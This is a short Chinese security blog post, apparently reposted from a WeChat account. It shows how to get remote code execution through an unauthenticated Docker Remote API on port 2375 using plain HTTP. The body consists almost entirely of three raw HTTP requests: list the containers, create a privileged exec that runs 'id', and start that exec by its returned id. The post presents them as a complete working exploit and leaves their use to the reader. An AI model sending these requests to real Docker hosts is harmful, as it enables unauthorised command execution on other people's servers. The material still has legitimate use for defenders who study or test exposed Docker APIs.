docker api未授权导致RCE的http方式利用

admin 2024年6月27日21:21:06评论4 views字数 1155阅读3分51秒阅读模式
 

1
前言
本文是群友投稿,在做项目时,遇见docker api rce,常规的方法是通过api创建恶意容器,但还有另一种方法可以无需创建容器,直接http利用,速度快很多,感谢群友分享!
本文提供完整流程的数据包,具体使用请自行研究,本文不做演示。
2

详细数据包

GET /containers/json HTTP/1.1User-Agent: Java/17.0.5Host: ip:2375Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: close
POST /containers/195dd8c882f192b53ce38e88164a0936cc30d291f5286983671250659e08a4b2/exec HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:65.0) Gecko/20100101 Firefox/65.0Content-Type: application/jsonCache-Control: no-cachePragma: no-cacheHost: ip:2375Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-Length: 141{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["id"],"DetachKeys":"ctrl-p,ctrl-q","Privileged":true,"Tty":true}
取出响应id
POST /exec/92839a23e062ba4f2f4b4ad7ad4625761bda6e832a7c4712234fc10e505ba355(响应id)/start HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:65.0) Gecko/20100101 Firefox/65.0Content-Type: application/jsonCache-Control: no-cachePragma: no-cacheHost: ip:2375Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-Length: 31{"Detach":false,"Tty":false}
 

 

原文始发于微信公众号(棉花糖网络安全圈):docker api未授权导致RCE的http方式利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月27日21:21:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   docker api未授权导致RCE的http方式利用https://cn-sec.com/archives/2892969.html

发表评论

匿名网友 填写信息